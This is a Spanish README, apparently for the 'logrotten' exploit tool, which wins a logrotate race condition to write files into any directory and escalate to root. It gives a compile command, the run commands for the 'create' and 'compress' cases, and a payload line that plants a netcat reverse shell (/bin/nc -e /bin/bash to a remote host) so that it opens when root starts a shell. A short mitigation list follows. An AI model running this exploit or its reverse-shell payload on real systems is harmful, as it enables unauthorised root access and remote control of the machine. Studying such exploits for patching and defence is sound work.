[!WARNING]
Este repositorio se ha movido a https://codeberg.org/whotwagner/logrotten. Por favor, visita la nueva ubicación para las últimas actualizaciones.
Ganando una condición de carrera en logrotate para elevar privilegios

Descripción breve
- logrotate es propenso a una condición de carrera después de renombrar el archivo de registro.
- Si logrotate se ejecuta como root, con una opción que crea un
archivo (como create, copy, compress, etc.) y el usuario tiene el control
de la ruta del archivo de registro, es posible abusar de una condición de carrera para escribir
archivos en CUALQUIER directorio.
- Un atacante podría elevar sus privilegios escribiendo reverse-shells en
directorios como "/etc/bash_completition.d/".
Precondición para la escalada de privilegios
- Logrotate debe ejecutarse como root
- La ruta de registro debe estar bajo el control del atacante
- Debe establecerse cualquier opción que cree archivos en la configuración de logrotate
Versión probada
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
Compilar
- gcc -o logrotten logrotten.c
Preparar el payload
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
Ejecutar el exploit
Si la opción "create" está establecida en logrotate.cfg:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
Si la opción "compress" está establecida en logrotate.cfg:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
Problemas conocidos
- Era difícil ganar la carrera dentro de un contenedor docker o en un volumen lvm2. Esta versión de logrotten mejora la fiabilidad.
Mitigación
- Asegúrate de que la ruta de registro sea propiedad de root
- Usa la opción "su" en logrotate.cfg
- Usa selinux o apparmor
Autor
Referencias